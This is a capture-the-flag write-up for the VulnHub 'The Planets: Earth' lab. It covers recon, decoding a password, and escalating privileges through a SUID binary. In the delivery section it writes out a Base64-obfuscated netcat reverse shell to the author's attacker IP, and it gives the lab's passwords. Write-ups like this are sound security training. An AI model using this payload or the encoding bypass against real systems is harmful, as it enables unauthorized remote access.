VulnHub - The Planets Earth

Challenge Overview:

This write-up details the steps taken to solve The Planets Earth CTF on Vulnhub and gain root access.

Reconnaissance:

I began by using netdiscover to locate the victim machine:

netdiscover 192.168.0.0/24

The scan identified the target machine at 192.168.0.60. However, navigating to the domain yielded no response.

Next, I run nmap scan to identify open ports:

nmap -v -p- 192.168.0.60

The results revealed the following open ports:

Attempting to access http://192.168.0.60:80 and https://192.168.0.60:443 both came back with little to no information

Running a secondary advanced nmap scan with service detection revealed the following:

nmap -A -p- 192.168.0.60

The scan provided the following DNS entries:

Attempting to navigate to earth.local I was unable to access it & after some research I found out that I needed to add it to my /etc/hosts file

I added the first domain of earth.local to my /etc/hosts file using the following command:

sudo nano /etc/hosts

After refreshing earth.local, I gained access to the webpage.

There was an option to send a message and after sending a few, I was unable to determine the methodology behind it

The bottom three messages were there prior to me sending my messages and I had done some research on them but I was unable to locate what they could be

Moving forward in my recon I am going to dirb the server which will scan the directories

Using dirb, I scanned the directories of both domains:

dirb https://earth.local

This revealed a login page at /admin & /cgi-bin/

After attempting to dirb terratest.earth.local I quickly realized I had to update my /etc/hosts in order for me to scan & access the domain

Next, I scanned https://terratest.earth.local after adding it to my /etc/hosts. The scan revealed:

I start by navigating to /robots.txt to see what information I can extract

From testingnotes.txt, I extracted a username (terra) and clues about the algorithm used for encryption.

I then go to cyber chef in attempts to decrypt the file. After playing around with it I was able to get

earthclimatechangebad4humans

With the username and password, I successfully logged into the /admin/ page.

Weaponization & Delivery:

After logging in, I encountered restrictions on remote connections. To bypass this, I encoded the payload using Base64:

echo bmMgMTkyLjE2OC4wLjIxNSAxMjM0IC1lIC9iaW4vYmFzaA== | base64 -d | sh

Decoded:

nc 192.168.0.215 1234 -e /bin/bash

This payload established a shell to my adversary machine

Now that I am connection I will want to make this a interactive shell by running the following commands:

now my shell is interactive

Installation & Exploitation:

After obtaining shell access, I enumerated the system:

cat /etc/*release

The target was running Fedora 34. Despite attempts with the exploits I located on searchsploit, I was unsuccessful.

Next, I enumerated SUID binaries and discovered /usr/bin/reset_root:

find / -perm -u=s -type f 2>/dev/null

I attempt to navigate to the cd /usr/bin/ & attempt to run the reset_root

I get back that the tiggers are not present

Next I send the fie to my adversary machine so I can run ltrace to determine what is causing the triggers not to be present

After creating the required files on my victim machine, I rerun reset_root, which provided the root password: Earth

C2 Command & Control & Actions on objective:

I am then able to cat the root_flag.txt and capture the flag

Conclusion:

In this example I was able to exploit vulnerable data as their testing notes was easily locatable. Addiotnally their reset_root file was searchable in their SUID binaries. With root access I would have full control over their system & senstive information. To mitigate this issue I would advise removal of those files, documentation & components from both server and client side.